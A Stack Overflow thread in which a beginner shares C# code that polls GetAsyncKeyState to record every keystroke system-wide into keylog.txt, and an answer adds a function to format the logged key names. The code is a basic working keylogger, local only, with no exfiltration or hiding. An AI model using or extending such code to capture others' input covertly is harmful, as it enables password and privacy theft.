-1

I'm new and still learning about C#

I have this simple code (I got from a website) that captures the keystrokes and saves it in a file:

[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);

public Form1()
{
    InitializeComponent();
    timer1.Tick += new EventHandler(timer1_Tick);
    timer1.Start();
}

string text = "";
void timer1_Tick(object sender, EventArgs e)
{
    string buffer = "";
    foreach (Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
            buffer += Enum.GetName(typeof(Keys), i);
    }
    text += buffer;
    if (text.Length > 10)
    {
        WriteToText(text);
        text = "";
    }

}

private void WriteToText(string value)
{
    StreamWriter stream = new StreamWriter("keylog.txt",true);
    stream.Write(value);
    stream.Close();
}

It works, however, the text in the keylog.txt is something like this: D1D2D3D4D5D6LButtonRButtonSpaceSpaceASD0emcomma0emPeriodSemicolon etc...
But what I want is just like this (formatted or arranged):
123456[LeftClick][RightClick] ASD,.;

How can I do like that? What code should I add?

Konamiman
  • 47,560
  • 16
  • 107
  • 133
newbieguy
  • 608
  • 1
  • 10
  • 28
  • Can you not write a keylog parser method that will pick up stuff like ButtonR and replace it with [RightClick] etc before it saves the file? – JsonStatham Oct 26 '15 at 11:52

1 Answers1

2

You can add another function to rename all the keys:

string RenameKey(string keyName)
{
    switch(keyName)
    {
        case "LClick":
            return "[LeftClick]";
            break;
        case "RClick":
            return "[RightClick]";
            break;
        default:
            return keyName;
    }
}

Or be lazy, like me:

string RenameKey(string keyName)
{
    if(keyName.Length > 1) return "[" + keyName + "]";
    return keyName;
}

Just change the method on top to use this function:

void timer1_Tick(object sender, EventArgs e)
{
    string buffer = "";
    foreach (Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
            buffer += RenameKey(Enum.GetName(typeof(Keys), i));
    }
    text += buffer;
    if (text.Length > 10)
    {
        WriteToText(text);
        text = "";
    }

}

It is the line that says:

buffer += RenameKey(Enum.GetName(typeof(Keys), i));
rotgers
  • 1,412
  • 1
  • 11
  • 23
  • how do i do with `ShiftKeyLShiftKey` (same with Control key)? Shift+G output: ShiftKeyLShiftKeyG ---> – newbieguy Oct 26 '15 at 13:17
  • If you use the 'lazy function' it already changes `ShiftKeyLShiftKey` to `[ShiftKeyLShiftKey]`. What would you like to accomplish? – rotgers Oct 26 '15 at 13:19
  • You would need to keep track of KeyUp and KeyDown events. I'd recommend learning more about C# first. – rotgers Oct 26 '15 at 14:22
  • I can help you push you into the right direction but I am not going to write the code for you. Good luck :) – rotgers Oct 27 '15 at 07:26